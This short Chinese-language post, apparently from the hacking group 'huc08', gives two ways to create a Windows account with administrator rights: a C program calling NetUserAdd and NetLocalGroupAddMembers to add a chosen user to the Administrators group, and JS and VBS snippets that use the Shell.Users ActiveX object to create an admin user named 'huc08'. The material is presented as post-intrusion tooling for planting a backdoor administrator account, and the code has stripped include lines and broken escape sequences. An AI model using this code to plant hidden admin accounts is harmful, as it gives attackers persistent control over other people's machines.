1)采用API添加用户,附一段源码
#include
#include
#include
#pragma comment(lib,"netapi32")
void usage();
int wmain(int argc, wchar_t *argv[])
{
USER_INFO_1 ui;
DWORD dwError = 0;
if(argc!=3)
{
usage();
return 0;
}
ui.usri1_name = argv[1];
ui.usri1_password = argv[2];
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
printf("User has been successfully addedn");
}
else
{
fwprintf(stderr, L"Add user %s Error!n",argv[1]);
return 1;
}
wchar_t szAccountName[100]={0};
const unsigned short *name;
name=(const unsigned short *)argv[1];
wcscpy(szAccountName,name);
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
if( NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1) == NERR_Success )
{
printf("Add to Administrators success.n");
return 0;
}
else
{
printf("Add to Administrators Fail!n");
return 1;
}
}
void usage()
{
printf("=======================n");
printf("====AddUserByApi=======n");
printf("Team:www.huc08.comn");
printf("用法:程序 username pass n");
}
2)采用Shell.Users添加用户,它调用了wscript.shell、Shell.Application、Shell.LocalMachine这三个组件
js:
var o=new ActiveXObject( “Shell.Users” );
z=o.create("huc08") ;
z.changePassword("huc08″,"")
z.setting(”AccountType”)=3;
vbs:
Set o=CreateObject( “Shell.Users” )
Set z=o.create("huc08")
z.changePassword "huc08″,""
z.setting(”AccountType”)=3
评论 (0)